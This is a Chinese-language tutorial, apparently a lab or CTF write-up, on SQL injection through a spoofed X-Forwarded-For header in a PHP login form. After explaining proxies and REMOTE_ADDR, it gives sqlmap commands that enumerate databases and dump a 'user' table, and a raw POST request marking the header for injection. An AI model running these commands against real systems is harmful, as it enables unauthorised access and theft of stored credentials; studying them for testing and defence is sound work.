X-Forwarded-For 概述
X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的IP地址。不明白原理的开发者为了获取客户 IP,会使用 $_SERVER['REMOTE_ADDR'] 变量,这个服务器变量表示和 Web 服务器握手的 IP 是什么(这个不能伪造)。但是很多用户都通过代理来访问服务器的,那么假如使用该全局变量,PHP获取到的IP就是代理服务器的 IP(并不是用户的)。一个请求可能经过的路径:客户端=>>(正向代理=>>透明代理=>>服务器反向代理=>>)Web服务器。其中正向代理、透明代理、服务器反向代理这三个环节并不一定存在。
几种情况
- 客户端直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR'] 获取到的是客户端的真实 IP。
- Web 服务器前部署了反向代理(比如 Nginx),则$_SERVER['REMOTE_ADDR'] 获取到的是反向代理设备的 IP(Nginx)。
- 客户端通过正向代理直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR']获取到的正向代理设备的 IP。
漏洞确认思路
- 随便输入账号密码后点击登录
- 发现返回结果后发现了IP被记录
- 服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值
确认服务端是不是使用这种方式获取客户端IP地址:将请求加入重发器,在请求头中加入X-Forwarded-For:123.123.123.123(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送,查看返回包中IP果然被更改了。
漏洞利用
第一种:Sqlmap参数中指定头
python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" --level 3 --dbs --batch --threads 10 python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D webcalendar --talbes --batch --threads 10 python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D "webcalendar" -T "user" --dump --batch --threads 10
第二种:在post请求包中添加
POST /index.php HTTP/1.1 Host: xxx.xxx.xx.xxx:45181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xx.xxx:45181/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://xxx.xxx.xx.xxx:45181 Connection: close Upgrade-Insecure-Requests: 1 X-Forwarded-For:* username=admin&password=admin ```